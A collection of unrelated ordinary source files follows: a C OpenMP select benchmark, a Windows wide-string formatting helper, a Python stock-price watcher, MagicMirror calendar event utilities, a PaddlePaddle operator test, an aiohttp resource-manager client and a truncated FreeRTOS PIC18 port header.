// TODO Mark regions /** * @file app.c * @brief Template for a Host Application Source File. * */ #include "../../support/timer.h" #include <assert.h> #include <getopt.h> #include <omp.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static uint64_t *A; static uint64_t *B; static uint64_t *C; static uint64_t *C2; static int pos; bool pred(const uint64_t x) { return (x % 2) == 0; } void *create_test_file(unsigned int nr_elements) { // srand(0); A = (uint64_t *)malloc(nr_elements * sizeof(uint64_t)); B = (uint64_t *)malloc(nr_elements * sizeof(uint64_t)); C = (uint64_t *)malloc(nr_elements * sizeof(uint64_t)); printf("nr_elements\t%u\t", nr_elements); for (int i = 0; i < nr_elements; i++) { // A[i] = (unsigned int) (rand()); A[i] = i + 1; B[i] = 0; } } /** * @brief compute output in the host */ static int select_host(int size, int t) { pos = 0; C[pos] = A[pos]; omp_set_num_threads(t); #pragma omp parallel for for (int my = 1; my < size; my++) { if (!pred(A[my])) { int p; #pragma omp atomic update pos++; p = pos; C[p] = A[my]; } } return pos; } // Params --------------------------------------------------------------------- typedef struct Params { char *dpu_type; int input_size; int n_warmup; int n_reps; int n_threads; } Params; void usage() { fprintf(stderr, "\nUsage: ./program [options]" "\n" "\nGeneral options:" "\n -h help" "\n -d <D> DPU type (default=fsim)" "\n -t <T> # of threads (default=8)" "\n -w <W> # of untimed warmup iterations (default=2)" "\n -e <E> # of timed repetition iterations (default=5)" "\n" "\nBenchmark-specific options:" "\n -i <I> input size (default=8M elements)" "\n"); } struct Params input_params(int argc, char **argv) { struct Params p; p.input_size = 16 << 20; p.n_warmup = 1; p.n_reps = 3; p.n_threads = 5; int opt; while ((opt = getopt(argc, argv, "hi:w:e:t:")) >= 0) { switch (opt) { case 'h': usage(); exit(0); break; case 'i': p.input_size = atoi(optarg); break; case 'w': p.n_warmup = atoi(optarg); break; case 'e': p.n_reps = atoi(optarg); break; case 't': p.n_threads = atoi(optarg); break; default: fprintf(stderr, "\nUnrecognized option!\n"); usage(); exit(0); } } assert(p.n_threads > 0 && "Invalid # of ranks!"); return p; } /** * @brief Main of the Host Application. */ int main() { struct Params p = input_params(argc, argv); const unsigned int file_size = p.input_size; uint32_t accum = 0; int total_count; // Create an input file with arbitrary data. create_test_file(file_size); Timer timer; start(&timer, 0, 0); total_count = select_host(file_size, p.n_threads); stop(&timer, 0); printf("Total count = %d\t", total_count); printf("Kernel "); print(&timer, 0, 1); printf("\n"); free(A); free(B); free(C); return 0; }
// 4 may 2014 #include "winiconview.h" WCHAR *ourawsprintf(WCHAR *fmt, ...) { WCHAR *out; va_list arg; va_start(arg, fmt); out = ourvawsprintf(fmt, arg); va_end(arg); return out; } // HUGE TODO - VISUAL C++ 2010 DOESN'T PROVIDE VA_COPY AND THIS IS A **MAJOR HACK** #ifndef va_copy #define va_copy(d, s) ((d) = (s)) #endif // don't call panic() here because panic() calls this! WCHAR *ourvawsprintf(WCHAR *fmt, va_list arg) { int n; WCHAR *out; va_list carg; va_copy(carg, arg); n = _vscwprintf(fmt, carg); va_end(carg); if (n == -1) return NULL; out = (WCHAR *) malloc((n + 1) * sizeof (WCHAR)); if (out == NULL) return NULL; // BIG TODO: if Application Verifier is patrolling this process, the _vsnwprintf() call will CRASH and I have no idea why :S if (_vsnwprintf(out, (size_t) n, fmt, arg) == -1) return NULL; // TODO apparently the terminating null ISN'T written by the above?! out[n] = L'\0'; return out; }
#!/usr/bin/python """Stock watcher based on yfinance Created by Max Rossmannek 2020-05-13 Usage: run python stock_watcher.py Config: library.txt: holds one Yahoo Finance symbol per line """ from datetime import datetime, timedelta import os import pandas as pd import yfinance as yf # read library with open(os.path.expanduser("~/.stocks/library.txt"), "r") as LIBRARY: SYMBOLS = LIBRARY.read() # get today TODAY = datetime.today() # get latest weekday LATEST_WEEKDAY = TODAY - timedelta(days=1) while LATEST_WEEKDAY.weekday() > 4: LATEST_WEEKDAY -= timedelta(days=1) # get weekday previous to that one PREV_WEEKDAY = LATEST_WEEKDAY - timedelta(days=1) while PREV_WEEKDAY.weekday() > 4: PREV_WEEKDAY -= timedelta(days=1) # get tomorrow TOMORROW = TODAY + timedelta(days=1) # download data between previous weekday and tomorrow DATA = yf.download(SYMBOLS, start=f"{PREV_WEEKDAY:%F}", end=f"{TOMORROW:%F}") # extract closing data PREV_CLOSE = DATA["Close"].loc[f"{PREV_WEEKDAY:%F}"] LATEST_CLOSE = DATA["Close"].loc[f"{LATEST_WEEKDAY:%F}"] # create results dataframe RESULT = pd.DataFrame() RESULT.insert(0, "Current", LATEST_CLOSE) RESULT.insert(1, "Change", LATEST_CLOSE - PREV_CLOSE) RESULT.insert(2, "Percent", (LATEST_CLOSE - PREV_CLOSE) / LATEST_CLOSE * 100.) # write results with open(os.path.expanduser("~/.stocks/prices.txt"), "w") as PRICES: PRICES.write(RESULT.sort_values(by="Percent", ascending=False).to_string(header=False)) PRICES.write(f"\n{datetime.now():%d %b %r}")
/* Magic Mirror * Calendar Util Methods * * By Michael Teeuw https://michaelteeuw.nl * MIT Licensed. */ /** * @external Moment */ const moment = require("moment"); const path = require("path"); const zoneTable = require(path.join(__dirname, "windowsZones.json")); const Log = require("../../js/logger.js"); const CalendarUtils = { /** * Calculate the time correction, either dst/std or full day in cases where * utc time is day before plus offset * * @param {object} event the event which needs adjustement * @param {Date} date the date on which this event happens * @returns {number} the necessary adjustment in hours */ calculateTimezoneAdjustment: function (event, date) { let adjustHours = 0; // if a timezone was specified if (!event.start.tz) { Log.debug(" if no tz, guess based on now"); event.start.tz = moment.tz.guess(); } Log.debug("initial tz=" + event.start.tz); // if there is a start date specified if (event.start.tz) { // if this is a windows timezone if (event.start.tz.includes(" ")) { // use the lookup table to get theIANA name as moment and date don't know MS timezones let tz = CalendarUtils.getIanaTZFromMS(event.start.tz); Log.debug("corrected TZ=" + tz); // watch out for unregistered windows timezone names // if we had a successful lookup if (tz) { // change the timezone to the IANA name event.start.tz = tz; // Log.debug("corrected timezone="+event.start.tz) } } Log.debug("corrected tz=" + event.start.tz); let current_offset = 0; // offset from TZ string or calculated let mm = 0; // date with tz or offset let start_offset = 0; // utc offset of created with tz // if there is still an offset, lookup failed, use it if (event.start.tz.startsWith("(")) { const regex = /[+|-]\d*:\d*/; const start_offsetString = event.start.tz.match(regex).toString().split(":"); let start_offset = parseInt(start_offsetString[0]); start_offset *= event.start.tz[1] === "-" ? -1 : 1; adjustHours = start_offset; Log.debug("defined offset=" + start_offset + " hours"); current_offset = start_offset; event.start.tz = ""; Log.debug("ical offset=" + current_offset + " date=" + date); mm = moment(date); let x = parseInt(moment(new Date()).utcOffset()); Log.debug("net mins=" + (current_offset * 60 - x)); mm = mm.add(x - current_offset * 60, "minutes"); adjustHours = (current_offset * 60 - x) / 60; event.start = mm.toDate(); Log.debug("adjusted date=" + event.start); } else { // get the start time in that timezone let es = moment(event.start); // check for start date prior to start of daylight changing date if (es.format("YYYY") < 2007) { es.set("year", 2013); // if so, use a closer date } Log.debug("start date/time=" + es.toDate()); start_offset = moment.tz(es, event.start.tz).utcOffset(); Log.debug("start offset=" + start_offset); Log.debug("start date/time w tz =" + moment.tz(moment(event.start), event.start.tz).toDate()); // get the specified date in that timezone mm = moment.tz(moment(date), event.start.tz); Log.debug("event date=" + mm.toDate()); current_offset = mm.utcOffset(); } Log.debug("event offset=" + current_offset + " hour=" + mm.format("H") + " event date=" + mm.toDate()); // if the offset is greater than 0, east of london if (current_offset !== start_offset) { // big offset Log.debug("offset"); let h = parseInt(mm.format("H")); // check if the event time is less than the offset if (h > 0 && h < Math.abs(current_offset) / 60) { // if so, rrule created a wrong date (utc day, oops, with utc yesterday adjusted time) // we need to fix that adjustHours = 24; // Log.debug("adjusting date") } //-300 > -240 //if (Math.abs(current_offset) > Math.abs(start_offset)){ if (current_offset > start_offset) { adjustHours -= 1; Log.debug("adjust down 1 hour dst change"); //} else if (Math.abs(current_offset) < Math.abs(start_offset)) { } else if (current_offset < start_offset) { adjustHours += 1; Log.debug("adjust up 1 hour dst change"); } } } Log.debug("adjustHours=" + adjustHours); return adjustHours; }, /** * Filter the events from ical according to the given config * * @param {object} data the calendar data from ical * @param {object} config The configuration object * @returns {string[]} the filtered events */ filterEvents: function (data, config) { const newEvents = []; // limitFunction doesn't do much limiting, see comment re: the dates // array in rrule section below as to why we need to do the filtering // ourselves const limitFunction = function (date, i) { return true; }; const eventDate = function (event, time) { return CalendarUtils.isFullDayEvent(event) ? moment(event[time], "YYYYMMDD") : moment(new Date(event[time])); }; Log.debug("there are " + Object.entries(data).length + " calendar entries"); Object.entries(data).forEach(([key, event]) => { const now = new Date(); const today = moment().startOf("day").toDate(); const future = moment().startOf("day").add(config.maximumNumberOfDays, "days").subtract(1, "seconds").toDate(); // Subtract 1 second so that events that start on the middle of the night will not repeat. let past = today; Log.debug("have entries "); if (config.includePastEvents) { past = moment().startOf("day").subtract(config.maximumNumberOfDays, "days").toDate(); } // FIXME: Ugly fix to solve the facebook birthday issue. // Otherwise, the recurring events only show the birthday for next year. let isFacebookBirthday = false; if (typeof event.uid !== "undefined") { if (event.uid.indexOf("@facebook.com") !== -1) { isFacebookBirthday = true; } } if (event.type === "VEVENT") { let startDate = eventDate(event, "start"); let endDate; Log.debug("\nevent=" + JSON.stringify(event)); if (typeof event.end !== "undefined") { endDate = eventDate(event, "end"); } else if (typeof event.duration !== "undefined") { endDate = startDate.clone().add(moment.duration(event.duration)); } else { if (!isFacebookBirthday) { // make copy of start date, separate storage area endDate = moment(startDate.format("x"), "x"); } else { endDate = moment(startDate).add(1, "days"); } } Log.debug(" start=" + startDate.toDate() + " end=" + endDate.toDate()); // calculate the duration of the event for use with recurring events. let duration = parseInt(endDate.format("x")) - parseInt(startDate.format("x")); if (event.start.length === 8) { startDate = startDate.startOf("day"); } const title = CalendarUtils.getTitleFromEvent(event); let excluded = false, dateFilter = null; for (let f in config.excludedEvents) { let filter = config.excludedEvents[f], testTitle = title.toLowerCase(), until = null, useRegex = false, regexFlags = "g"; if (filter instanceof Object) { if (typeof filter.until !== "undefined") { until = filter.until; } if (typeof filter.regex !== "undefined") { useRegex = filter.regex; } // If additional advanced filtering is added in, this section // must remain last as we overwrite the filter object with the // filterBy string if (filter.caseSensitive) { filter = filter.filterBy; testTitle = title; } else if (useRegex) { filter = filter.filterBy; testTitle = title; regexFlags += "i"; } else { filter = filter.filterBy.toLowerCase(); } } else { filter = filter.toLowerCase(); } if (CalendarUtils.titleFilterApplies(testTitle, filter, useRegex, regexFlags)) { if (until) { dateFilter = until; } else { excluded = true; } break; } } if (excluded) { return; } const location = event.location || false; const geo = event.geo || false; const description = event.description || false; if (typeof event.rrule !== "undefined" && event.rrule !== null && !isFacebookBirthday) { const rule = event.rrule; let addedEvents = 0; const pastMoment = moment(past); const futureMoment = moment(future); // can cause problems with e.g. birthdays before 1900 if ((rule.options && rule.origOptions && rule.origOptions.dtstart && rule.origOptions.dtstart.getFullYear() < 1900) || (rule.options && rule.options.dtstart && rule.options.dtstart.getFullYear() < 1900)) { rule.origOptions.dtstart.setYear(1900); rule.options.dtstart.setYear(1900); } // For recurring events, get the set of start dates that fall within the range // of dates we're looking for. // kblankenship1989 - to fix issue #1798, converting all dates to locale time first, then converting back to UTC time let pastLocal = 0; let futureLocal = 0; if (CalendarUtils.isFullDayEvent(event)) { // if full day event, only use the date part of the ranges pastLocal = pastMoment.toDate(); futureLocal = futureMoment.toDate(); } else { // if we want past events if (config.includePastEvents) { // use the calculated past time for the between from pastLocal = pastMoment.toDate(); } else { // otherwise use NOW.. cause we shouldn't use any before now pastLocal = moment().toDate(); //now } futureLocal = futureMoment.toDate(); // future } Log.debug(" between=" + pastLocal + " to " + futureLocal); const dates = rule.between(pastLocal, futureLocal, true, limitFunction); Log.debug("title=" + event.summary + " dates=" + JSON.stringify(dates)); // The "dates" array contains the set of dates within our desired date range range that are valid // for the recurrence rule. *However*, it's possible for us to have a specific recurrence that // had its date changed from outside the range to inside the range. For the time being, // we'll handle this by adding *all* recurrence entries into the set of dates that we check, // because the logic below will filter out any recurrences that don't actually belong within // our display range. // Would be great if there was a better way to handle this. if (event.recurrences !== undefined) { for (let r in event.recurrences) { // Only add dates that weren't already in the range we added from the rrule so that // we don"t double-add those events. if (moment(new Date(r)).isBetween(pastMoment, futureMoment) !== true) { dates.push(new Date(r)); } } } // Loop through the set of date entries to see which recurrences should be added to our event list. for (let d in dates) { let date = dates[d]; // ical.js started returning recurrences and exdates as ISOStrings without time information. // .toISOString().substring(0,10) is the method they use to calculate keys, so we'll do the same // (see https://github.com/peterbraden/ical.js/pull/84 ) const dateKey = date.toISOString().substring(0, 10); let curEvent = event; let showRecurrence = true; // get the offset of today where we are processing // this will be the correction we need to apply let nowOffset = new Date().getTimezoneOffset(); // for full day events, the time might be off from RRULE/Luxon problem // get time zone offset of the rule calculated event let dateoffset = date.getTimezoneOffset(); // reduce the time by the offset Log.debug(" recurring date is " + date + " offset is " + dateoffset); let dh = moment(date).format("HH"); Log.debug(" recurring date is " + date + " offset is " + dateoffset / 60 + " Hour is " + dh); if (CalendarUtils.isFullDayEvent(event)) { Log.debug("fullday"); // if the offset is negative, east of GMT where the problem is if (dateoffset < 0) { // if the date hour is less than the offset if (dh < Math.abs(dateoffset / 60)) { // reduce the time by the offset Log.debug(" recurring date is " + date + " offset is " + dateoffset); // apply the correction to the date/time to get it UTC relative date = new Date(date.getTime() - Math.abs(nowOffset) * 60000); // the duration was calculated way back at the top before we could correct the start time.. // fix it for this event entry //duration = 24 * 60 * 60 * 1000; Log.debug("new recurring date1 is " + date); } } else { // if the timezones are the same, correct date if needed if (event.start.tz === moment.tz.guess()) { // if the date hour is less than the offset if (24 - dh < Math.abs(dateoffset / 60)) { // apply the correction to the date/time back to right day date = new Date(date.getTime() + Math.abs(24 * 60) * 60000); // the duration was calculated way back at the top before we could correct the start time.. // fix it for this event entry //duration = 24 * 60 * 60 * 1000; Log.debug("new recurring date2 is " + date); } } } } else { // not full day, but luxon can still screw up the date on the rule processing // we need to correct the date to get back to the right event for if (dateoffset < 0) { // if the date hour is less than the offset if (dh < Math.abs(dateoffset / 60)) { // reduce the time by the offset Log.debug(" recurring date is " + date + " offset is " + dateoffset); // apply the correction to the date/time to get it UTC relative date = new Date(date.getTime() - Math.abs(nowOffset) * 60000); // the duration was calculated way back at the top before we could correct the start time.. // fix it for this event entry //duration = 24 * 60 * 60 * 1000; Log.debug("new recurring date1 is " + date); } } else { // if the timezones are the same, correct date if needed if (event.start.tz === moment.tz.guess()) { // if the date hour is less than the offset if (24 - dh < Math.abs(dateoffset / 60)) { // apply the correction to the date/time back to right day date = new Date(date.getTime() + Math.abs(24 * 60) * 60000); // the duration was calculated way back at the top before we could correct the start time.. // fix it for this event entry //duration = 24 * 60 * 60 * 1000; Log.debug("new recurring date2 is " + date); } } } } startDate = moment(date); let adjustDays = CalendarUtils.calculateTimezoneAdjustment(event, date); // For each date that we're checking, it's possible that there is a recurrence override for that one day. if (curEvent.recurrences !== undefined && curEvent.recurrences[dateKey] !== undefined) { // We found an override, so for this recurrence, use a potentially different title, start date, and duration. curEvent = curEvent.recurrences[dateKey]; startDate = moment(curEvent.start); duration = parseInt(moment(curEvent.end).format("x")) - parseInt(startDate.format("x")); } // If there's no recurrence override, check for an exception date. Exception dates represent exceptions to the rule. else if (curEvent.exdate !== undefined && curEvent.exdate[dateKey] !== undefined) { // This date is an exception date, which means we should skip it in the recurrence pattern. showRecurrence = false; } Log.debug("duration=" + duration); endDate = moment(parseInt(startDate.format("x")) + duration, "x"); if (startDate.format("x") === endDate.format("x")) { endDate = endDate.endOf("day"); } const recurrenceTitle = CalendarUtils.getTitleFromEvent(curEvent); // If this recurrence ends before the start of the date range, or starts after the end of the date range, don"t add // it to the event list. if (endDate.isBefore(past) || startDate.isAfter(future)) { showRecurrence = false; } if (CalendarUtils.timeFilterApplies(now, endDate, dateFilter)) { showRecurrence = false; } if (showRecurrence === true) { Log.debug("saving event =" + description); addedEvents++; newEvents.push({ title: recurrenceTitle, startDate: (adjustDays ? (adjustDays > 0 ? startDate.add(adjustDays, "hours") : startDate.subtract(Math.abs(adjustDays), "hours")) : startDate).format("x"), endDate: (adjustDays ? (adjustDays > 0 ? endDate.add(adjustDays, "hours") : endDate.subtract(Math.abs(adjustDays), "hours")) : endDate).format("x"), fullDayEvent: CalendarUtils.isFullDayEvent(event), recurringEvent: true, class: event.class, firstYear: event.start.getFullYear(), location: location, geo: geo, description: description }); } } // end recurring event parsing } else { // Single event. const fullDayEvent = isFacebookBirthday ? true : CalendarUtils.isFullDayEvent(event); // Log.debug("full day event") if (config.includePastEvents) { // Past event is too far in the past, so skip. if (endDate < past) { return; } } else { // It's not a fullday event, and it is in the past, so skip. if (!fullDayEvent && endDate < new Date()) { return; } // It's a fullday event, and it is before today, So skip. if (fullDayEvent && endDate <= today) { return; } } // It exceeds the maximumNumberOfDays limit, so skip. if (startDate > future) { return; } if (CalendarUtils.timeFilterApplies(now, endDate, dateFilter)) { return; } // Adjust start date so multiple day events will be displayed as happening today even though they started some days ago already if (fullDayEvent && startDate <= today) { startDate = moment(today); } // if the start and end are the same, then make end the 'end of day' value (start is at 00:00:00) if (fullDayEvent && startDate.format("x") === endDate.format("x")) { endDate = endDate.endOf("day"); } // get correction for date saving and dst change between now and then let adjustDays = CalendarUtils.calculateTimezoneAdjustment(event, startDate.toDate()); // Every thing is good. Add it to the list. newEvents.push({ title: title, startDate: (adjustDays ? (adjustDays > 0 ? startDate.add(adjustDays, "hours") : startDate.subtract(Math.abs(adjustDays), "hours")) : startDate).format("x"), endDate: (adjustDays ? (adjustDays > 0 ? endDate.add(adjustDays, "hours") : endDate.subtract(Math.abs(adjustDays), "hours")) : endDate).format("x"), fullDayEvent: fullDayEvent, class: event.class, location: location, geo: geo, description: description }); } } }); newEvents.sort(function (a, b) { return a.startDate - b.startDate; }); // include up to maximumEntries current or upcoming events // If past events should be included, include all past events const now = moment(); let entries = 0; let events = []; for (let ne of newEvents) { if (moment(ne.endDate, "x").isBefore(now)) { if (config.includePastEvents) events.push(ne); continue; } entries++; // If max events has been saved, skip the rest if (entries > config.maximumEntries) break; events.push(ne); } return events; }, /** * Lookup iana tz from windows * * @param {string} msTZName the timezone name to lookup * @returns {string|null} the iana name or null of none is found */ getIanaTZFromMS: function (msTZName) { // Get hash entry const he = zoneTable[msTZName]; // If found return iana name, else null return he ? he.iana[0] : null; }, /** * Gets the title from the event. * * @param {object} event The event object to check. * @returns {string} The title of the event, or "Event" if no title is found. */ getTitleFromEvent: function (event) { let title = "Event"; if (event.summary) { title = typeof event.summary.val !== "undefined" ? event.summary.val : event.summary; } else if (event.description) { title = event.description; } return title; }, /** * Checks if an event is a fullday event. * * @param {object} event The event object to check. * @returns {boolean} True if the event is a fullday event, false otherwise */ isFullDayEvent: function (event) { if (event.start.length === 8 || event.start.dateOnly || event.datetype === "date") { return true; } const start = event.start || 0; const startDate = new Date(start); const end = event.end || 0; if ((end - start) % (24 * 60 * 60 * 1000) === 0 && startDate.getHours() === 0 && startDate.getMinutes() === 0) { // Is 24 hours, and starts on the middle of the night. return true; } return false; }, /** * Determines if the user defined time filter should apply * * @param {Date} now Date object using previously created object for consistency * @param {Moment} endDate Moment object representing the event end date * @param {string} filter The time to subtract from the end date to determine if an event should be shown * @returns {boolean} True if the event should be filtered out, false otherwise */ timeFilterApplies: function (now, endDate, filter) { if (filter) { const until = filter.split(" "), value = parseInt(until[0]), increment = until[1].slice(-1) === "s" ? until[1] : until[1] + "s", // Massage the data for moment js filterUntil = moment(endDate.format()).subtract(value, increment); return now < filterUntil.format("x"); } return false; }, /** * Determines if the user defined title filter should apply * * @param {string} title the title of the event * @param {string} filter the string to look for, can be a regex also * @param {boolean} useRegex true if a regex should be used, otherwise it just looks for the filter as a string * @param {string} regexFlags flags that should be applied to the regex * @returns {boolean} True if the title should be filtered out, false otherwise */ titleFilterApplies: function (title, filter, useRegex, regexFlags) { if (useRegex) { // Assume if leading slash, there is also trailing slash if (filter[0] === "/") { // Strip leading and trailing slashes filter = filter.substr(1).slice(0, -1); } filter = new RegExp(filter, regexFlags); return filter.test(title); } else { return title.includes(filter); } } }; if (typeof module !== "undefined") { module.exports = CalendarUtils; }
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function import unittest import numpy as np import paddle.fluid.core as core from op_test import OpTest from test_anchor_generator_op import anchor_generator_in_python from test_generate_proposal_labels import _generate_groundtruth from test_generate_proposal_labels import _bbox_overlaps, _box_to_delta def rpn_target_assign(gt_anchor_iou, rpn_batch_size_per_im, rpn_positive_overlap, rpn_negative_overlap, fg_fraction): iou = np.transpose(gt_anchor_iou) anchor_to_gt_max = iou.max(axis=1) anchor_to_gt_argmax = iou.argmax(axis=1) gt_to_anchor_argmax = iou.argmax(axis=0) gt_to_anchor_max = iou[gt_to_anchor_argmax, np.arange(iou.shape[1])] anchors_with_max_overlap = np.where(iou == gt_to_anchor_max)[0] tgt_lbl = np.ones((iou.shape[0], ), dtype=np.int32) * -1 tgt_lbl[anchors_with_max_overlap] = 1 tgt_lbl[anchor_to_gt_max >= rpn_positive_overlap] = 1 num_fg = int(fg_fraction * rpn_batch_size_per_im) fg_inds = np.where(tgt_lbl == 1)[0] if len(fg_inds) > num_fg: disable_inds = np.random.choice( fg_inds, size=(len(fg_inds) - num_fg), replace=False) tgt_lbl[disable_inds] = -1 fg_inds = np.where(tgt_lbl == 1)[0] num_bg = rpn_batch_size_per_im - np.sum(tgt_lbl == 1) bg_inds = np.where(anchor_to_gt_max < rpn_negative_overlap)[0] tgt_lbl[bg_inds] = 0 if len(bg_inds) > num_bg: enable_inds = bg_inds[np.random.randint(len(bg_inds), size=num_bg)] tgt_lbl[enable_inds] = 0 bg_inds = np.where(tgt_lbl == 0)[0] tgt_lbl[bg_inds] = 0 loc_index = fg_inds score_index = np.hstack((fg_inds, bg_inds)) tgt_lbl = np.expand_dims(tgt_lbl, axis=1) gt_inds = anchor_to_gt_argmax[fg_inds] return loc_index, score_index, tgt_lbl, gt_inds def get_anchor(n, c, h, w): input_feat = np.random.random((n, c, h, w)).astype('float32') anchors, _ = anchor_generator_in_python( input_feat=input_feat, anchor_sizes=[32., 64.], aspect_ratios=[0.5, 1.0], variances=[1.0, 1.0, 1.0, 1.0], stride=[16.0, 16.0], offset=0.5) return anchors def rpn_blob(anchor, gt_boxes, iou, lod, rpn_batch_size_per_im, rpn_positive_overlap, rpn_negative_overlap, fg_fraction): loc_indexes = [] score_indexes = [] tmp_tgt_labels = [] tgt_bboxes = [] anchor_num = anchor.shape[0] batch_size = len(lod) - 1 for i in range(batch_size): b, e = lod[i], lod[i + 1] iou_slice = iou[b:e, :] bboxes_slice = gt_boxes[b:e, :] loc_idx, score_idx, tgt_lbl, gt_inds = rpn_target_assign( iou_slice, rpn_batch_size_per_im, rpn_positive_overlap, rpn_negative_overlap, fg_fraction) fg_bboxes = bboxes_slice[gt_inds] fg_anchors = anchor[loc_idx] box_deltas = _box_to_delta(fg_anchors, fg_bboxes, [1., 1., 1., 1.]) if i == 0: loc_indexes = loc_idx score_indexes = score_idx tmp_tgt_labels = tgt_lbl tgt_bboxes = box_deltas else: loc_indexes = np.concatenate( [loc_indexes, loc_idx + i * anchor_num]) score_indexes = np.concatenate( [score_indexes, score_idx + i * anchor_num]) tmp_tgt_labels = np.concatenate([tmp_tgt_labels, tgt_lbl]) tgt_bboxes = np.vstack([tgt_bboxes, box_deltas]) tgt_labels = tmp_tgt_labels[score_indexes] return loc_indexes, score_indexes, tgt_bboxes, tgt_labels class TestRpnTargetAssignOp(OpTest): def setUp(self): n, c, h, w = 2, 4, 14, 14 anchor = get_anchor(n, c, h, w) gt_num = 10 anchor = anchor.reshape(-1, 4) anchor_num = anchor.shape[0] im_shapes = [[64, 64], [64, 64]] gt_box, lod = _generate_groundtruth(im_shapes, 3, 4) bbox = np.vstack([v['boxes'] for v in gt_box]) iou = _bbox_overlaps(bbox, anchor) anchor = anchor.astype('float32') bbox = bbox.astype('float32') iou = iou.astype('float32') loc_index, score_index, tgt_bbox, tgt_lbl = rpn_blob( anchor, bbox, iou, [0, 4, 8], 25600, 0.95, 0.03, 0.25) self.op_type = "rpn_target_assign" self.inputs = { 'Anchor': anchor, 'GtBox': (bbox, [[4, 4]]), 'DistMat': (iou, [[4, 4]]), } self.attrs = { 'rpn_batch_size_per_im': 25600, 'rpn_positive_overlap': 0.95, 'rpn_negative_overlap': 0.03, 'fg_fraction': 0.25, 'fix_seed': True } self.outputs = { 'LocationIndex': loc_index.astype('int32'), 'ScoreIndex': score_index.astype('int32'), 'TargetBBox': tgt_bbox.astype('float32'), 'TargetLabel': tgt_lbl.astype('int64'), } def test_check_output(self): self.check_output() if __name__ == '__main__': unittest.main()
import json import aiohttp async def theoretically_fulfill(resource_manager, data): rm_ep = resource_manager['endpoint'] url = f"http://{rm_ep}/fulfill/theoretically" try: async with aiohttp.ClientSession() as session: async with session.post(url, data=json.dumps(data), timeout=5) as resp: result = await resp.json() if resp.status != 200: raise Exception(f"cant theoretically fulfill: res: {result}") return resource_manager except: raise ConnectionError(f"Couldnt connect to resource_manager {rm_ep}") async def allocate(rm_ep, data): url = f"http://{rm_ep}/fulfill/now" async with aiohttp.ClientSession() as session: async with session.post(url, data=json.dumps(data)) as resp: result = await resp.json() if resp.status != 200: raise Exception(f"Error allocating on ep {rm_ep} with data {data}: {result}") return result async def deallocate(resource_name, manager_ep): url = f'http://{manager_ep}/deallocate/{resource_name}' async with aiohttp.ClientSession() as session: async with session.delete(url) as resp: result = await resp.json() if resp.status != 200: raise Exception(f"Error deallocating resource {resource_name} on {manager_ep}: {result}") return result async def check_status(allocation_id, manager_ep): url = f'http://{manager_ep}/allocations/{allocation_id}' async with aiohttp.ClientSession() as session: async with session.get(url) as resp: result = await resp.json() if resp.status != 200: raise Exception(f"Error getting status of {allocation_id} ep {manager_ep}: {result}") return result
export default (elements) => { return _.map(elements, 'id'); };
/* * FreeRTOS Kernel V10.4.3 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * https://www.FreeRTOS.org * https://github.com/FreeRTOS * * 1 tab == 4 spaces! */ /* Changes from V3.0.0 Changes from V3.0.1 */ #ifndef PORTMACRO_H #define PORTMACRO_H #if !defined(_SERIES) || _SERIES != 18 #error "WizC supports FreeRTOS on the Microchip PIC18-series only" #endif #if !defined(QUICKCALL) || QUICKCALL != 1 #error "QuickCall must be enabled (see ProjectOptions/Optimisations)" #endif #include <stddef.h> #include <pic.h> #define portCHAR char #define portFLOAT float #define portDOUBLE portFLOAT #define portLONG long #define portSHORT short #define portSTACK_TYPE uint8_t #define portBASE_TYPE char typedef portSTACK_TYPE StackType_t; typedef signed char BaseType_t; typedef unsigned char UBaseType_t; #if( configUSE_16_BIT_TICKS == 1 ) typedef uint16_t TickType_t; #define portMAX_DELAY ( TickType_t ) ( 0xFFFF ) #else typedef uint32_t TickType_t; #define portMAX_DELAY ( TickType_t ) ( 0xFFFFFFFF ) #endif #define portBYTE_ALIGNMENT 1 /*-----------------------------------------------------------*/ /* * Constant used for context switch macro when we require the interrupt * enable state to be forced when the interrupted task is switched back in. */ #define portINTERRUPTS_FORCED (0x01) /* * Constant used for context switch macro when we require the interrupt * enable state to be unchanged when the interrupted task is switched back in. */ #define portINTERRUPTS_UNCHANGED (0x00) /* Initial interrupt enable state for newly created tasks. This value is * used when a task switches in for the first time. */ #define portINTERRUPTS_INITIAL_STATE (portINTERRUPTS_FORCED) /* * Macros to modify the global interrupt enable bit in INTCON. */ #define portDISABLE_INTERRUPTS() \ do \ { \ bGIE=0; \ } while(bGIE) // MicroChip recommends this check! #define portENABLE_INTERRUPTS() \ do \ { \ bGIE=1; \ } while(0) /*-----------------------------------------------------------*/ /* * Critical section macros. */ extern uint8_t ucCriticalNesting; #define portNO_CRITICAL_SECTION_NESTING ( ( uint8_t ) 0 ) #define portENTER_CRITICAL() \ do \ { \ portDISABLE_INTERRUPTS(); \ \ /* \ * Now interrupts are disabled ucCriticalNesting \ * can be accessed directly. Increment \ * ucCriticalNesting to keep a count of how \ * many times portENTER_CRITICAL() has been called. \ */ \ ucCriticalNesting++; \ } while(0) #define portEXIT_CRITICAL() \ do \ { \ if(ucCriticalNesting > portNO_CRITICAL_SECTION_NESTING) \ { \ /* \ * Decrement the 